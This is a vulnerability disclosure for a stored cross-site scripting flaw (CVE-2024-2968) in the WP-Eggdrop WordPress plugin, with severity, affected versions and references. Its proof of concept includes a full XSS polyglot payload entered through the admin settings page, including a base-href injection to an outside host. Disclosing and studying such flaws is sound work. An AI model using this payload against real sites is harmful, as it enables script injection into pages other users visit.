Description

The WP-Eggdrop plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

Severity

4.4 (Medium) - CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Affected Version

<= 0.1

PoC :

- Go to Settings/WP-Eggdrop Settings
- Input payload JavaScript://%0A/*?'/*\\'/*"/*\\"/*`/*\\`/*')/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(confirm)(1331+6)}//><Base/Href=//ener1-s3c.github.io/\\76-->
- Save & payload executed.

Reference

  • https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-eggdrop/wp-eggdrop-01-authenticated-admin-stored-cross-site-scripting
  • https://plugins.trac.wordpress.org/browser/wp-eggdrop/trunk/wp-eggdrop.php#L215
  • https://www.cve.org/CVERecord?id=CVE-2024-2968
  • https://nvd.nist.gov/vuln/detail/CVE-2024-2968